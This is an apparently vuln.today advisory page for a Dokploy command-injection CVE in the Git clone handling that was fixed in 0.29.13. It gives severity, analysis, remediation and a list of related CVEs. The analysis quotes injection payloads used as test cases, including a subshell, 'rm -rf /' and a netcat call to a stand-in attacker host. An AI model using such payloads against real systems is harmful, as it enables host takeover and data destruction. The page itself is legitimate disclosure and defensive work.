Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable via Dokploy web/API, requires authenticated low-privileged account to configure custom Git URL, no user interaction beyond triggering deployment, full host compromise with no scope change.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
4DescriptionCVE.org
Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, cloneGitRepository in packages/server/src/utils/providers/git.ts interpolates customGitUrl and customGitBranch into a git clone command passed to execAsync or execAsyncRemote, allowing an authenticated user with application access to execute arbitrary operating system commands on the Dokploy host by setting a malicious custom Git URL and triggering deployment. This issue is fixed in version 0.29.13.
AnalysisAI
OS command injection in Dokploy before 0.29.13 allows any authenticated user with application access to execute arbitrary commands on the Dokploy host by supplying malicious values for customGitUrl or customGitBranch and triggering a deployment. The cloneGitRepository function in packages/server/src/utils/providers/git.ts interpolates these user-controlled parameters directly into shell commands passed to execAsync or execAsyncRemote without any quoting or escaping. No public exploit has been identified at time of analysis and the vulnerability is not in CISA KEV, but the attack class is trivially weaponizable and a confirmed patch is available in v0.29.13.
Technical ContextAI
Dokploy is a self-hostable PaaS that orchestrates application deployments, including cloning source repositories via Git. The vulnerable code in packages/server/src/utils/providers/git.ts builds shell command strings by directly concatenating user-supplied customGitUrl and customGitBranch values using template literals, then passes the resulting string to execAsync or execAsyncRemote for shell execution. CWE-78 (Improper Neutralization of Special Elements in an OS Command) is the root cause: without shell quoting, metacharacters such as semicolons, pipes, backticks, and $() subshell syntax in user input are interpreted by the shell as separate commands. The PR diff confirms the same unsanitized pattern existed in bitbucket.ts, gitea.ts, and the ssh-keyscan domain handler, indicating a systemic absence of shell escaping across multiple Git provider integrations. The fix introduces a shellWord() helper that single-quotes all user-controlled values, with test cases verifying payloads like $(touch /tmp/pwned), ; rm -rf /, and | nc attacker 4444 are neutralized to inert literal tokens.
RemediationAI
Upgrade to Dokploy v0.29.13 or later, which is confirmed available at https://github.com/Dokploy/dokploy/releases/tag/v0.29.13. The fix wraps all user-controlled values (customGitUrl, customGitBranch, outputPath, and SSH domain) with a shellWord() quoting helper before shell interpolation, as documented in PR #4855 (https://github.com/Dokploy/dokploy/pull/4855) and commit 47347ab885b0ad1f5d0ef0e5e74bbba35c7f93bc. If immediate upgrade is not feasible, restrict the ability to configure custom Git URLs and branch names to trusted administrator accounts only, effectively reducing the attack surface to highly privileged users - note this does not eliminate the underlying code vulnerability and is not a substitute for patching. No other compensating control can fully neutralize unsanitized shell interpolation without modifying the source code.
Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate
Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o
Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs
Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on
OS command injection in Dokploy self-hosted PaaS before 0.29.13 lets an authenticated member with service-deployment per
Command injection in Dokploy self-hostable PaaS before 0.29.13 lets an authenticated user with backup:read permission ru
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
OS command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user holding the backup-restor
Cross-tenant remote command execution in Dokploy (self-hosted PaaS) before 0.29.13 lets any authenticated user holding o
Command injection in Dokploy self-hosted PaaS versions prior to 0.29.13 lets an authenticated user with database-service
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-55739